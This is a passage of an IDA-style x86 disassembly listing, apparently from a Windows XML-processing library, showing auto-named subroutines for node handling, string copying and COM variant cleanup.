retn 4
sub_69B4CC14 endp
; =============== S U B R O U T I N E =======================================
sub_69B4CC55 proc near ; CODE XREF: sub_69B421FC+49p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, ecx
mov eax, [esi]
push edi
call dword ptr [eax+38h]
mov ebp, [esi+0Ch]
mov ecx, ebp
mov ebx, eax
call sub_69B3DABE
mov edi, eax
xor eax, eax
cmp ebx, eax
mov [esp+14h+var_4], eax
jz loc_69B4CD1B
cmp edi, eax
jz loc_69B4CD1B
xor ecx, ecx
mov cl, [esi+0Bh]
and ecx, 1Fh
jz short loc_69B4CD08
cmp ecx, 7
jz short loc_69B4CCC1
cmp ecx, 0Bh
jz short loc_69B4CCAA
cmp ecx, 0Fh
jnz short loc_69B4CD1B
push eax
push eax
push eax
mov ecx, esi
call sub_69B4936A
jmp short loc_69B4CD10
; ---------------------------------------------------------------------------
loc_69B4CCAA: ; CODE XREF: sub_69B4CC55+42j
push eax
push ebx
mov ecx, edi
call sub_69B8AFBA
test eax, eax
jz short loc_69B4CD1B
push ebp
mov ecx, eax
call sub_69B8C56F
jmp short loc_69B4CD17
; ---------------------------------------------------------------------------
loc_69B4CCC1: ; CODE XREF: sub_69B4CC55+3Dj
mov ebx, dword_69B95A84
cmp dword ptr [ebx+8], 0Bh
jg short loc_69B4CCD2
call sub_69B2E6D8
loc_69B4CCD2: ; CODE XREF: sub_69B4CC55+76j
push dword ptr [ebx+38h]
mov ecx, esi
call sub_69B4BA87
test eax, eax
jz short loc_69B4CD1B
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
push eax
call sub_69B1A2EC
mov ecx, [edi+50h]
test ecx, ecx
jz short loc_69B4CD1B
push eax
call sub_69B1980A
test eax, eax
jz short loc_69B4CD1B
push ebp
mov ecx, eax
call sub_69B8CC73
jmp short loc_69B4CD17
; ---------------------------------------------------------------------------
loc_69B4CD08: ; CODE XREF: sub_69B4CC55+38j
push eax
mov ecx, esi
call sub_69B48E56
loc_69B4CD10: ; CODE XREF: sub_69B4CC55+53j
test eax, eax
jz short loc_69B4CD1B
mov eax, [eax+14h]
loc_69B4CD17: ; CODE XREF: sub_69B4CC55+6Aj
; sub_69B4CC55+B1j
mov [esp+14h+var_4], eax
loc_69B4CD1B: ; CODE XREF: sub_69B4CC55+22j
; sub_69B4CC55+2Aj ...
mov eax, [esp+14h+var_4]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_69B4CC55 endp
; =============== S U B R O U T I N E =======================================
sub_69B4CD25 proc near ; CODE XREF: sub_69B41554+B1p
; sub_69B423AC+9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
xor eax, eax
cmp [esp+arg_0], eax
push esi
mov esi, ecx
jz short loc_69B4CD3D
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_69B190C1
loc_69B4CD3D: ; CODE XREF: sub_69B4CD25+9j
push [esp+4+arg_8]
mov ecx, esi
push eax
call sub_69B4BAA7
pop esi
retn 0Ch
sub_69B4CD25 endp
; =============== S U B R O U T I N E =======================================
sub_69B4CD4D proc near ; CODE XREF: sub_69B4D02C+106p
; sub_69B538B4+CBp
arg_0 = dword ptr 4
push 1
push 1
push 0
push 0
push [esp+10h+arg_0]
call sub_69B4C674
retn 4
sub_69B4CD4D endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B4CD61(LPCWSTR lpString, int)
sub_69B4CD61 proc near ; CODE XREF: sub_69B4CEA8+F2p
; sub_69B5705C+2Ep ...
lpString = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+lpString] ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push [esp+0Ch+lpString]
mov ecx, esi
call sub_69B4CD25
pop esi
retn 8
sub_69B4CD61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_69B4CD82 proc near ; DATA XREF: .text:69B152F8o
; .text:69B1DD48o
jmp sub_69B4CC14
sub_69B4CD82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4CD87 proc near ; DATA XREF: .text:69B15314o
; .text:69B1DD64o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
test byte ptr [esi+0Ah], 0Ch
jnz short loc_69B4CDC3
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_69B4CDA9
cmp eax, esi
jnz short loc_69B4CDA9
lea eax, [ebp+arg_4]
push eax
mov ecx, esi
call sub_69B49F0B
loc_69B4CDA9: ; CODE XREF: sub_69B4CD87+11j
; sub_69B4CD87+15j
mov ecx, [esi+0Ch]
movzx ecx, byte ptr [ecx+8Dh]
push ecx
push 0
push 0
push eax
push [ebp+arg_0]
mov ecx, esi
call sub_69B4C674
loc_69B4CDC3: ; CODE XREF: sub_69B4CD87+Aj
pop esi
pop ebp
retn 8
sub_69B4CD87 endp
; =============== S U B R O U T I N E =======================================
sub_69B4CDC8 proc near ; DATA XREF: .text:69B15318o
; .text:69B1DD68o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
test byte ptr [esi+0Ah], 0Ch
jnz short loc_69B4CE1E
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0F4h]
test eax, eax
jz short loc_69B4CDEF
mov edx, [eax]
push edi
mov ecx, eax
call dword ptr [edx+84h]
loc_69B4CDEF: ; CODE XREF: sub_69B4CDC8+1Aj
cmp [esp+8+arg_4], 0
jge short loc_69B4CDFA
xor eax, eax
jmp short loc_69B4CE05
; ---------------------------------------------------------------------------
loc_69B4CDFA: ; CODE XREF: sub_69B4CDC8+2Cj
push [esp+8+arg_4]
mov ecx, esi
call sub_69B4A651
loc_69B4CE05: ; CODE XREF: sub_69B4CDC8+30j
mov ecx, [esi+0Ch]
movzx ecx, byte ptr [ecx+8Dh]
push ecx
push 0
push 0
push eax
push edi
mov ecx, esi
call sub_69B4C674
pop edi
loc_69B4CE1E: ; CODE XREF: sub_69B4CDC8+7j
pop esi
retn 8
sub_69B4CDC8 endp
; =============== S U B R O U T I N E =======================================
sub_69B4CE22 proc near ; DATA XREF: .text:69B1531Co
; .text:69B1DD6Co
arg_0 = dword ptr 4
push esi
mov esi, ecx
test byte ptr [esi+0Ah], 0Ch
jnz short loc_69B4CE6D
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0F4h]
cmp eax, esi
jnz short loc_69B4CE58
mov eax, [esi+0Ch]
movzx eax, byte ptr [eax+8Dh]
push eax
xor eax, eax
push eax
push edi
push eax
push eax
mov ecx, esi
call sub_69B4C674
jmp short loc_69B4CE6C
; ---------------------------------------------------------------------------
loc_69B4CE58: ; CODE XREF: sub_69B4CE22+1Aj
push 0
push 0C00CE20Dh
push 80070057h
call sub_69B2E9D0
add esp, 0Ch
loc_69B4CE6C: ; CODE XREF: sub_69B4CE22+34j
pop edi
loc_69B4CE6D: ; CODE XREF: sub_69B4CE22+7j
pop esi
retn 4
sub_69B4CE22 endp
; =============== S U B R O U T I N E =======================================
sub_69B4CE71 proc near ; DATA XREF: .text:69B15348o
; .text:69B1DD98o
arg_0 = dword ptr 4
push esi
push edi
push 0
push 0Fh
push [esp+10h+arg_0]
mov esi, ecx
call sub_69B49C1F
mov edi, eax
test edi, edi
jz short loc_69B4CEA1
mov eax, [esi+0Ch]
movzx eax, byte ptr [eax+8Dh]
push eax
push 1
push edi
push 0
push 0
mov ecx, esi
call sub_69B4C674
loc_69B4CEA1: ; CODE XREF: sub_69B4CE71+15j
mov eax, edi
pop edi
pop esi
retn 4
sub_69B4CE71 endp
; =============== S U B R O U T I N E =======================================
sub_69B4CEA8 proc near ; CODE XREF: sub_69B42884+86p
; sub_69B4D1A8j ...
push 2Ch
push offset dword_69B4D020
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
mov word ptr [ebp-2Ch], 1
call sub_69B48CEA
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
mov ebx, eax
mov [ebp-30h], ebx
test ebx, ebx
jz short loc_69B4CEE9
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+0F4h]
test eax, eax
mov byte ptr [ebp-31h], 1
jnz short loc_69B4CEED
loc_69B4CEE9: ; CODE XREF: sub_69B4CEA8+2Dj
mov byte ptr [ebp-31h], 0
loc_69B4CEED: ; CODE XREF: sub_69B4CEA8+3Fj
cmp byte ptr [ebp-31h], 0
jz short loc_69B4CF18
mov edi, [esi+0Ch]
mov eax, [edi]
push 0
mov edx, [ebx]
mov ecx, ebx
mov [ebp-38h], eax
call dword ptr [edx+0F4h]
push eax
mov ebx, [ebp-30h]
push ebx
push 0
push 0
mov ecx, edi
mov eax, [ebp-38h]
call dword ptr [eax+74h]
loc_69B4CF18: ; CODE XREF: sub_69B4CEA8+49j
xor edx, edx
mov [ebp-4], edx
mov eax, [ebp+8]
mov cx, [eax]
cmp cx, 8
jnz short loc_69B4CF2F
push edx
push dword ptr [eax+8]
jmp short loc_69B4CF98
; ---------------------------------------------------------------------------
loc_69B4CF2F: ; CODE XREF: sub_69B4CEA8+7Fj
cmp cx, 1
jnz short loc_69B4CF4B
push edx
push offset off_69B1A5AC
mov ecx, esi
call sub_69B4BAA7
mov ecx, esi
call sub_69B4B872
jmp short loc_69B4CF9F
; ---------------------------------------------------------------------------
loc_69B4CF4B: ; CODE XREF: sub_69B4CEA8+8Bj
mov edi, [esi+8]
shr edi, 4
and edi, 3Fh
mov [ebp-3Ch], edi
lea ecx, [ebp-2Ch]
push ecx ; pvarg
push eax ; pvarSrc
push edi ; int
call sub_69B3078B
mov eax, [esi+8]
shr eax, 0Eh
test al, 1
jz short loc_69B4CF93
cmp edi, 0Ch
jl short loc_69B4CF93
mov eax, [esi]
lea ecx, [ebp-2Ch]
push ecx
push edi
mov ecx, esi
call dword ptr [eax+0E8h]
lea eax, [ebp-2Ch]
push eax
mov ecx, esi
call sub_69B4B801
mov word ptr [ebp-2Ch], 1
jmp short loc_69B4CF9F
; ---------------------------------------------------------------------------
loc_69B4CF93: ; CODE XREF: sub_69B4CEA8+C2j
; sub_69B4CEA8+C7j
push 0 ; int
push dword ptr [ebp-24h] ; lpString
loc_69B4CF98: ; CODE XREF: sub_69B4CEA8+85j
mov ecx, esi
call sub_69B4CD61
loc_69B4CF9F: ; CODE XREF: sub_69B4CEA8+A1j
; sub_69B4CEA8+E9j
cmp byte ptr [ebp-31h], 0
jz short loc_69B4D006
mov esi, [esi+0Ch]
mov edi, [esi]
push 0
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+0F4h]
push eax
push ebx
push 2
push 0
mov ecx, esi
call dword ptr [edi+74h]
jmp short loc_69B4D006
; ---------------------------------------------------------------------------
loc_69B4CFC3: ; DATA XREF: .text:69B4D024o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4CFCC: ; DATA XREF: .text:69B4D028o
mov esp, [ebp-18h]
cmp byte ptr [ebp-31h], 0
jz short loc_69B4CFF7
mov eax, [ebp-1Ch]
mov esi, [eax+0Ch]
mov ebx, [esi]
push 0
mov edi, [ebp-30h]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0F4h]
push eax
push edi
push 1
push 0
mov ecx, esi
call dword ptr [ebx+74h]
loc_69B4CFF7: ; CODE XREF: sub_69B4CEA8+12Bj
lea eax, [ebp-2Ch]
push eax ; pvarg
call VariantClear
call sub_69B2E860
loc_69B4D006: ; CODE XREF: sub_69B4CEA8+FBj
; sub_69B4CEA8+119j
or dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-2Ch]
push eax ; pvarg
call VariantClear
call sub_69B1853C
retn 4
sub_69B4CEA8 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B4D020 dd 0FFFFFFFFh dd offset loc_69B4CFC3
dd offset loc_69B4CFCC
; =============== S U B R O U T I N E =======================================
sub_69B4D02C proc near ; CODE XREF: sub_69B14EAC+1F7p
; sub_69B4D18C+14p ...
push 14h
push offset dword_69B4D180
call sub_69B19C5C
mov edi, ecx
mov [ebp-1Ch], edi
xor esi, esi
mov ebx, [edi+0Ch]
call sub_69B48CEA
test byte ptr [edi+0Ah], 0Ch
jnz short loc_69B4D058
mov ecx, edi
call sub_69B48267
test eax, eax
jnz short loc_69B4D062
loc_69B4D058: ; CODE XREF: sub_69B4D02C+1Fj
push 8000FFFFh
call sub_69B2E8B8
loc_69B4D062: ; CODE XREF: sub_69B4D02C+2Aj
test byte ptr [edi+0Ah], 0Ch
jnz loc_69B4D172
mov ecx, edi
cmp dword ptr [ebp+8], 0
jz short loc_69B4D082
push 0
push 0Fh
push dword ptr [ebp+8]
call sub_69B49C1F
jmp short loc_69B4D08D
; ---------------------------------------------------------------------------
loc_69B4D082: ; CODE XREF: sub_69B4D02C+46j
push ebx ; int
push 0Fh ; int
push dword ptr [ebp+0Ch] ; lpString
call sub_69B49D8E
loc_69B4D08D: ; CODE XREF: sub_69B4D02C+54j
mov esi, eax
mov [ebp-20h], esi
xor edx, edx
cmp esi, edx
setz byte ptr [ebp-21h]
cmp [ebp-21h], dl
jz short loc_69B4D0DE
mov ecx, [ebx+70h]
cmp [ebp+8], edx
jz short loc_69B4D0B5
push dword ptr [ebp+14h]
push edx
push dword ptr [ebp+8]
call sub_69B3DA18
jmp short loc_69B4D0C1
; ---------------------------------------------------------------------------
loc_69B4D0B5: ; CODE XREF: sub_69B4D02C+79j
push 1 ; char
push edx ; char
push edx ; int
push dword ptr [ebp+0Ch] ; lpString
call sub_69B4E09A
loc_69B4D0C1: ; CODE XREF: sub_69B4D02C+87j
mov esi, eax
push esi
push 0Fh
call sub_69B4D8E4
push dword ptr [ebx+50h]
push ebx
push esi
push 0Fh
call sub_69B1BE7F
mov esi, eax
mov [ebp-20h], esi
jmp short loc_69B4D10E
; ---------------------------------------------------------------------------
loc_69B4D0DE: ; CODE XREF: sub_69B4D02C+71j
mov eax, [esi+8]
shr eax, 0Dh
not al
mov ecx, esi
test al, 1
jnz short loc_69B4D109
mov eax, [ebx+50h]
push edx
push eax
push ebx
push edx
push 1
call sub_69B3D586
mov esi, eax
mov [ebp-20h], esi
and byte ptr [esi+9], 0DFh
mov byte ptr [ebp-21h], 1
jmp short loc_69B4D10E
; ---------------------------------------------------------------------------
loc_69B4D109: ; CODE XREF: sub_69B4D02C+BEj
call sub_69B48CEA
loc_69B4D10E: ; CODE XREF: sub_69B4D02C+B0j
; sub_69B4D02C+DBj
mov ecx, [edi+0Ch]
mov eax, [ecx]
xor ebx, ebx
push ebx
push edi
push esi
push ebx
push ebx
call dword ptr [eax+74h]
mov [ebp-4], ebx
push dword ptr [ebp+10h]
mov ecx, esi
call sub_69B4CC14
cmp [ebp-21h], bl
jz short loc_69B4D137
push esi
mov ecx, edi
call sub_69B4CD4D
loc_69B4D137: ; CODE XREF: sub_69B4D02C+101j
mov ecx, [edi+0Ch]
mov eax, [ecx]
push ebx
push edi
push esi
push 2
push ebx
call dword ptr [eax+74h]
jmp short loc_69B4D16E
; ---------------------------------------------------------------------------
loc_69B4D147: ; DATA XREF: .text:69B4D184o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4D150: ; DATA XREF: .text:69B4D188o
mov esp, [ebp-18h]
mov eax, [ebp-1Ch]
mov ecx, [eax+0Ch]
mov edx, [ecx]
push 0
push eax
mov esi, [ebp-20h]
push esi
push 1
push 0
call dword ptr [edx+74h]
call sub_69B2E860
loc_69B4D16E: ; CODE XREF: sub_69B4D02C+119j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B4D172: ; CODE XREF: sub_69B4D02C+3Aj
mov eax, esi
call sub_69B1853C
retn 10h
sub_69B4D02C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B4D180 dd 0FFFFFFFFh dd offset loc_69B4D147
dd offset loc_69B4D150
; =============== S U B R O U T I N E =======================================
sub_69B4D18C proc near ; CODE XREF: sub_69B4D1CD+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
test byte ptr [ecx+0Ah], 0Ch
jnz short locret_69B4D1A5
push [esp+arg_C]
push [esp+4+arg_4]
push 0
push [esp+0Ch+arg_0]
call sub_69B4D02C
locret_69B4D1A5: ; CODE XREF: sub_69B4D18C+4j
retn 10h
sub_69B4D18C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_69B4D1A8 proc near ; DATA XREF: .text:69B1535Co
; .text:69B1DDACo
jmp sub_69B4CEA8
sub_69B4D1A8 endp
; =============== S U B R O U T I N E =======================================
sub_69B4D1AD proc near ; DATA XREF: .text:69B15364o
; .text:69B1DDB4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push dword ptr [ecx+0Ch]
push 0Fh
push [esp+8+arg_0]
call sub_69B49C1F
test eax, eax
jz short locret_69B4D1CA
push [esp+arg_4]
mov ecx, eax
call sub_69B4CEA8
locret_69B4D1CA: ; CODE XREF: sub_69B4D1AD+10j
retn 8
sub_69B4D1AD endp
; =============== S U B R O U T I N E =======================================
sub_69B4D1CD proc near ; DATA XREF: .text:69B15344o
; .text:69B1DD94o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0
push dword ptr [ecx+0Ch]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_69B4D18C
retn 8
sub_69B4D1CD endp
; =============== S U B R O U T I N E =======================================
sub_69B4D1E2 proc near ; DATA XREF: .text:69B151CCo
mov eax, offset off_69B4D1E8
retn
sub_69B4D1E2 endp
; ---------------------------------------------------------------------------
off_69B4D1E8 dd offset dword_69B18894 ; DATA XREF: sub_69B4D1E2o
align 10h
; =============== S U B R O U T I N E =======================================
sub_69B4D1F0 proc near ; DATA XREF: .text:69B12718o
mov eax, offset off_69B4D1F8
retn
sub_69B4D1F0 endp
; ---------------------------------------------------------------------------
align 4
off_69B4D1F8 dd offset dword_69B18894 ; DATA XREF: sub_69B4D1F0o
dd offset sub_69B6860C
; =============== S U B R O U T I N E =======================================
sub_69B4D200 proc near ; CODE XREF: sub_69B4D223+11p
; sub_69B4D560+79p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_4], 3
jl short loc_69B4D21E
push 3
push [esp+4+arg_0]
push offset aXml ; "xml"
call sub_69B2ED64
test eax, eax
jnz short loc_69B4D21E
inc eax
jmp short locret_69B4D220
; ---------------------------------------------------------------------------
loc_69B4D21E: ; CODE XREF: sub_69B4D200+5j
; sub_69B4D200+19j
xor eax, eax
locret_69B4D220: ; CODE XREF: sub_69B4D200+1Cj
retn 8
sub_69B4D200 endp
; =============== S U B R O U T I N E =======================================
sub_69B4D223 proc near ; CODE XREF: sub_69B4D8E4+101p
; sub_69B4D8E4+125p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov ecx, [eax+8]
mov eax, [eax+0Ch]
push ecx
push eax
call sub_69B4D200
retn 4
sub_69B4D223 endp
; =============== S U B R O U T I N E =======================================
sub_69B4D23C proc near ; DATA XREF: .text:69B151D4o
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp esi, edi
jz short loc_69B4D276
test edi, edi
jnz short loc_69B4D27A
mov eax, [esi]
push ebx
call dword ptr [eax+1Ch]
mov ebx, eax
mov eax, [edi]
xor ecx, ecx
call dword ptr [eax+1Ch]
cmp ebx, eax
pop ebx
jnz short loc_69B4D27A
mov eax, [esi+8]
cmp eax, large ds:8
jnz short loc_69B4D27A
mov eax, [esi+0Ch]
cmp eax, large ds:0Ch
jnz short loc_69B4D27A
loc_69B4D276: ; CODE XREF: sub_69B4D23C+Aj
mov al, 1
jmp short loc_69B4D27C
; ---------------------------------------------------------------------------
loc_69B4D27A: ; CODE XREF: sub_69B4D23C+Ej
; sub_69B4D23C+22j ...
xor al, al
loc_69B4D27C: ; CODE XREF: sub_69B4D23C+3Cj
pop edi
pop esi
retn 4
sub_69B4D23C endp
; =============== S U B R O U T I N E =======================================
sub_69B4D281 proc near ; DATA XREF: .text:69B151D0o
push esi
mov esi, ecx
mov ecx, [esi+8]
push edi
xor edi, edi
test ecx, ecx
jz short loc_69B4D295
mov eax, [ecx]
call dword ptr [eax+20h]
mov edi, eax
loc_69B4D295: ; CODE XREF: sub_69B4D281+Bj
mov ecx, [esi+10h]
test ecx, ecx
jz short loc_69B4D2A3
mov eax, [ecx]
call dword ptr [eax+20h]
add edi, eax
loc_69B4D2A3: ; CODE XREF: sub_69B4D281+19j
mov ecx, [esi+0Ch]
test ecx, ecx
jz short loc_69B4D2B1
mov eax, [ecx]
call dword ptr [eax+20h]
add edi, eax
loc_69B4D2B1: ; CODE XREF: sub_69B4D281+27j
mov eax, edi
pop edi
pop esi
retn
sub_69B4D281 endp
; =============== S U B R O U T I N E =======================================
sub_69B4D2B6 proc near ; CODE XREF: sub_69B4D2DF+Dp
; sub_69B4D8E4+111p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp dword_69B95A74, ecx
jnz short loc_69B4D2C9
mov eax, dword_69B95A64
jmp short locret_69B4D2DC
; ---------------------------------------------------------------------------
loc_69B4D2C9: ; CODE XREF: sub_69B4D2B6+Aj
mov eax, dword_69B95A6C
sub eax, ecx
neg eax
sbb eax, eax
not eax
and eax, dword_69B95A5C
locret_69B4D2DC: ; CODE XREF: sub_69B4D2B6+11j
retn 4
sub_69B4D2B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4D2DF proc near ; CODE XREF: sub_69B490BC+38p
; sub_69B6282D+103p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
push ebx
mov esi, ecx
xor edx, edx
call sub_69B4D2B6
test eax, eax
mov [ebp+arg_0], eax
jnz short loc_69B4D326
test ebx, ebx
jnz short loc_69B4D301
mov edx, [esi+18h]
jmp short loc_69B4D326
; ---------------------------------------------------------------------------
loc_69B4D301: ; CODE XREF: sub_69B4D2DF+1Bj
mov eax, [esi+20h]
test eax, eax
jle short loc_69B4D326
push edi
lea edi, [eax-1]
test edi, edi
jl short loc_69B4D323
loc_69B4D310: ; CODE XREF: sub_69B4D2DF+42j
mov ecx, [esi+1Ch]
push edi
call sub_69B8A163
mov edx, eax
cmp [edx+10h], ebx
jz short loc_69B4D325
dec edi
jns short loc_69B4D310
loc_69B4D323: ; CODE XREF: sub_69B4D2DF+2Fj
xor edx, edx
loc_69B4D325: ; CODE XREF: sub_69B4D2DF+3Fj
pop edi
loc_69B4D326: ; CODE XREF: sub_69B4D2DF+17j
; sub_69B4D2DF+20j ...
mov ecx, [ebp+arg_4]
test ecx, ecx
pop esi
pop ebx
jz short loc_69B4D33C
test edx, edx
jz short loc_69B4D338
mov eax, [edx+14h]
jmp short loc_69B4D33A
; ---------------------------------------------------------------------------
loc_69B4D338: ; CODE XREF: sub_69B4D2DF+52j
xor eax, eax
loc_69B4D33A: ; CODE XREF: sub_69B4D2DF+57j
mov [ecx], eax
loc_69B4D33C: ; CODE XREF: sub_69B4D2DF+4Ej
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_69B4D351
test edx, edx
jz short loc_69B4D34C
mov eax, [edx+0Ch]
jmp short loc_69B4D34F
; ---------------------------------------------------------------------------
loc_69B4D34C: ; CODE XREF: sub_69B4D2DF+66j
mov eax, [ebp+arg_0]
loc_69B4D34F: ; CODE XREF: sub_69B4D2DF+6Bj
mov [ecx], eax
loc_69B4D351: ; CODE XREF: sub_69B4D2DF+62j
test edx, edx
jz short loc_69B4D35A
mov eax, [edx+8]
jmp short loc_69B4D35D
; ---------------------------------------------------------------------------
loc_69B4D35A: ; CODE XREF: sub_69B4D2DF+74j
mov eax, [ebp+arg_0]
loc_69B4D35D: ; CODE XREF: sub_69B4D2DF+79j
pop ebp
retn 0Ch
sub_69B4D2DF endp
; =============== S U B R O U T I N E =======================================
sub_69B4D361 proc near ; CODE XREF: sub_69B4FDBC+52Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
mov eax, [esi+20h]
test eax, eax
jle short loc_69B4D390
push edi
lea edi, [eax-1]
test edi, edi
jl short loc_69B4D38F
loc_69B4D373: ; CODE XREF: sub_69B4D361+2Cj
mov ecx, [esi+1Ch]
push edi
call sub_69B8A163
mov ecx, [eax+14h]
cmp ecx, [esp+8+arg_0]
jnz short loc_69B4D38F
dec edi
mov ecx, [esp+8+arg_4]
mov [eax+14h], ecx
jns short loc_69B4D373
loc_69B4D38F: ; CODE XREF: sub_69B4D361+10j
; sub_69B4D361+22j
pop edi
loc_69B4D390: ; CODE XREF: sub_69B4D361+8j
pop esi
retn 8
sub_69B4D361 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B4D394(int, LPCWSTR lpString, int)
sub_69B4D394 proc near ; CODE XREF: sub_69B14EAC+1E9p
; sub_69B40B8C+1Fp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
lpString = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, [ebp+arg_0]
test ebx, ebx
push esi
mov esi, ecx
push edi
mov [ebp+var_4], esi
jnz short loc_69B4D3BB
mov edi, [ebp+arg_8]
test edi, edi
jge short loc_69B4D3C4
push [ebp+lpString] ; lpString
call ds:lstrlenW ; lstrlenW
mov edi, eax
jmp short loc_69B4D3C4
; ---------------------------------------------------------------------------
loc_69B4D3BB: ; CODE XREF: sub_69B4D394+11j
mov eax, [ebx+0Ch]
mov edi, [ebx+8]
mov [ebp+lpString], eax
loc_69B4D3C4: ; CODE XREF: sub_69B4D394+18j
; sub_69B4D394+25j
mov ecx, [esi+8]
test ecx, ecx
jz short loc_69B4D3DA
push edi
push [ebp+lpString]
call sub_69B1941C
mov esi, eax
test esi, esi
jnz short loc_69B4D40B
loc_69B4D3DA: ; CODE XREF: sub_69B4D394+35j
test ebx, ebx
jz short loc_69B4D3E6
push ebx
call sub_69B19611
jmp short loc_69B4D3EF
; ---------------------------------------------------------------------------
loc_69B4D3E6: ; CODE XREF: sub_69B4D394+48j
push edi
push [ebp+lpString]
call sub_69B2FAC8
loc_69B4D3EF: ; CODE XREF: sub_69B4D394+50j
mov esi, eax
mov eax, [ebp+var_4]
mov edi, [eax+8]
test edi, edi
jz short loc_69B4D40B
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+2Ch]
push esi
push eax
mov ecx, edi
call sub_69B18FB8
loc_69B4D40B: ; CODE XREF: sub_69B4D394+44j
; sub_69B4D394+65j
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 0Ch
sub_69B4D394 endp
; =============== S U B R O U T I N E =======================================
sub_69B4D414 proc near ; CODE XREF: sub_69B31541+9p
; sub_69B3A6BD+3Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push dword ptr [eax]
mov esi, ecx
push esi
call sub_69B17320
mov eax, esi
pop esi
retn 4
sub_69B4D414 endp
; =============== S U B R O U T I N E =======================================
sub_69B4D429 proc near ; DATA XREF: .text:69B15158o
push esi
mov esi, ecx
push 0
lea eax, [esi+8]
push eax
call sub_69B17320
push 0
lea eax, [esi+0Ch]
push eax
call sub_69B17320
push 0
lea eax, [esi+10h]
push eax
call sub_69B17320
push 0
lea eax, [esi+18h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B4D429 endp
; =============== S U B R O U T I N E =======================================
sub_69B4D460 proc near ; CODE XREF: sub_69B4D62C+14Fp
; sub_69B4D7A3+CEp ...
push 14h
call sub_69B17EF3
test eax, eax
jz short loc_69B4D472
mov ecx, eax
jmp sub_69B1515C
; ---------------------------------------------------------------------------
loc_69B4D472: ; CODE XREF: sub_69B4D460+9j
xor eax, eax
retn 0Ch
sub_69B4D460 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4D477 proc near ; CODE XREF: sub_69B4DC0B+8p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_69B4D4F8
mov ecx, [eax+14h]
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov ebx, eax
cmp dword ptr [ebx+8], 0
mov eax, [esi]
mov ecx, esi
jle short loc_69B4D501
push edi
call dword ptr [eax+2Ch]
mov edi, eax
mov esi, [edi+8]
mov eax, [ebx+8]
lea eax, [eax+esi+1]
push eax
push 0
call sub_69B190D7
lea ecx, [esi+esi]
mov esi, [edi+0Ch]
mov edi, [eax+0Ch]
mov [ebp+arg_0], ecx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov edi, [eax+0Ch]
add edi, edx
mov esi, offset asc_69B282D8 ; ":"
movsw
mov ecx, [ebx+8]
mov edi, [eax+0Ch]
mov esi, [ebx+0Ch]
shl ecx, 1
lea edi, [edi+edx+2]
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
pop edi
jmp short loc_69B4D50B
; ---------------------------------------------------------------------------
loc_69B4D4F8: ; CODE XREF: sub_69B4D477+Dj
test eax, eax
jz short loc_69B4D506
mov ecx, [eax+14h]
mov eax, [ecx]
loc_69B4D501: ; CODE XREF: sub_69B4D477+21j
call dword ptr [eax+2Ch]
